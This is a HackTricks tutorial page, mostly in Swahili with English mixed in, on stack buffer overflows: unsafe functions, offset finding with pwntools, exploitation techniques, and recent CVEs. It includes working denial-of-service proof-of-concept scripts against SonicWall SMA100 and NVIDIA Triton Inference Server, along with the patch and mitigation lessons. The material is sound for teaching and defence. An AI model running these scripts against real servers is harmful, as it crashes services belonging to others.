Stack Overflow

Reading time: 10 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Stack Overflow ni nini

A stack overflow ni udhaifu unaotokea wakati programu inaandika data nyingi zaidi kwenye stack kuliko ilivyogawiwa kubeba. Data hizi ziada zinaweza kuandika juu ya nafasi za kumbukumbu jirani, na kusababisha uharibifu wa data halali, kuvuruga control flow, na pengine utekelezaji wa malicious code. Tatizo hili mara nyingi linasababishwa na matumizi ya functions zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye input.

Shida kuu ya kuandika juu ni kwamba saved instruction pointer (EIP/RIP) na saved base pointer (EBP/RBP) za kurudi kwa function iliyotangulia zimetengwa kwenye stack. Kwa hiyo, mshambuliaji anaweza kuzibadilisha na kudhibiti mtiririko wa utekelezaji wa programu.

Udhaifu huu kawaida unatokea kwa sababu function inakopa ndani ya stack bytes zaidi kuliko ilivyotengwa kwake, hivyo kuwa na uwezo wa kuandika juu ya sehemu zingine za stack.

Some common functions vulnerable to this are: strcpy, strcat, sprintf, gets... Also, functions like fgets, read & memcpy that take a length argument, might be used in a vulnerable way if the specified length is greater than the allocated one.

For example, the following functions could be vulnerable:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Kupata offsets za Stack Overflow

Njia inayotumika zaidi kutambua stack overflows ni kutoa input kubwa sana ya As (mfano python3 -c 'print("A"*1000)') na kutarajia Segmentation Fault inayoonyesha kuwa address 0x41414141 ilijaribiwa kufikiwa.

Zaidi ya hayo, mara utakapogundua kuna Stack Overflow vulnerability utahitaji kupata offset hadi iwezekane overwrite the return address, kwa hili kawaida hutumika De Bruijn sequence. Kwa alfabeti ya ukubwa k na subsequences za urefu n ni mlolongo wa cyclic ambapo kila subsequence inayowezekana ya urefu n inaonekana kabisa mara moja kama subsequence mfululizo.

Kwa njia hii, badala ya kujaribu kubaini kwa mkono offset inayohitajika kudhibiti EIP, inawezekana kutumia mfululizo mmoja wa haya kama padding kisha kupata offset ya bytes ambazo zinaisha ku-overwrite.

Inawezekana kutumia pwntools kwa hili:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

au GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to kubadilisha values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
The most common way to abuse this type of vulnerability is by modifying the return address so when the function ends the control flow will be redirected wherever the user specified in this pointer.

However, in other scenarios maybe just kuandika juu ya baadhi ya thamani za vigezo kwenye stack might be enough for the exploitation (like in easy CTF challenges).

Ret2win

In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:

Ret2win

Stack Shellcode

In this scenario the attacker could place a shellcode in the stack and use the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.

Windows Seh Overflow

ROP & Ret2... techniques

This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:

ROP - Return Oriented Programing

Heap Overflows

An overflow is not always going to be in the stack, it could also be in the heap for example:

Heap Overflow

Types of protections

There are several protections trying to prevent the exploitation of vulnerabilities, check them in:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Mfano mzuri wa kwanini sscanf haipaswi kamwe kuaminiwa kwa kuparsa input isiyoaminika ulitokea mwaka 2025 kwenye kifaa cha SonicWall SMA100 SSL-VPN. The vulnerable routine inside /usr/src/EasyAccess/bin/httpd attempts to extract the toleo and endpoint from any URI that begins with /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Ubadilishaji wa kwanza (%2s) unaweka kwa usalama mbili bytes ndani ya version (e.g. "v1").
  2. Ubadilishaji wa pili (%s) haina specifier ya urefu, kwa hivyo sscanf itaendelea kunakili hadi byte ya kwanza ya NUL.
  3. Kwa kuwa endpoint iko kwenye stack na ni 0x800 bytes long, kutoa path inayozidi 0x800 bytes kunaharibu kila kitu kinachofuatia buffer ‑ ikiwa ni pamoja na stack canary na saved return address.

Mstari mmoja wa proof-of-concept unatosha kusababisha crash before authentication:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Ingawa stack canaries husababisha mchakato kusimamishwa, mshambulizi bado anapata primitive ya Denial-of-Service (na, ikiwa kutakuwa na additional information leaks, huenda code-execution). Somo ni rahisi:

  • Daima eleza maximum field width (mfano %511s).
  • Pendelea mbadala salama kama snprintf/strncpy_s.

Mfano wa Maisha Halisi: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≀ v25.06) ilikuwa na multiple stack-based overflows zinazoweza kufikiwa kupitia HTTP API yake. Muundo wenye udhaifu ulirudiwa mara kwa mara katika http_server.cc na sagemaker_server.cc:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) inarudisha idadi ya sehemu za buffer za ndani zinazounda mwili wa ombi la HTTP la sasa.
  2. Kila sehemu husababisha evbuffer_iovec ya 16-byte kugawiwa kwenye stack kupitia alloca() – bila kikomo cha juu.
  3. Kwa kutumia vibaya HTTP chunked transfer-encoding, mteja anaweza kulazimisha ombi kugawanywa kuwa mamia ya maelfu ya vipande vya 6-byte ("1\r\nA\r\n"). Hii inafanya n ikue bila kikomo hadi stack itakapokosa nafasi.

Uthibitisho wa Dhana (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor β‰ˆ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Ombi la ~3 MB linatosha kuandika tena anwani ya kurudi iliyohifadhiwa na kusababisha crash ya daemon katika default build.

Patch & Kupunguza Hatari

Toleo la 25.07 linachukua nafasi ya ugawaji wa stack usio salama na heap-backed std::vector na linashughulikia std::bad_alloc kwa upole:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Mafunzo yaliyopatikana:

  • Usiwahi kuita alloca() kwa ukubwa unaodhibitiwa na mshambuliaji.
  • Maombi ya chunked yanaweza kubadilisha sana umbo la buffer za upande wa seva.
  • Thibitisha / weka kikomo kwa thamani yoyote inayotokana na ingizo la mteja kabla ya kuitumia katika ugawaji wa kumbukumbu.

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks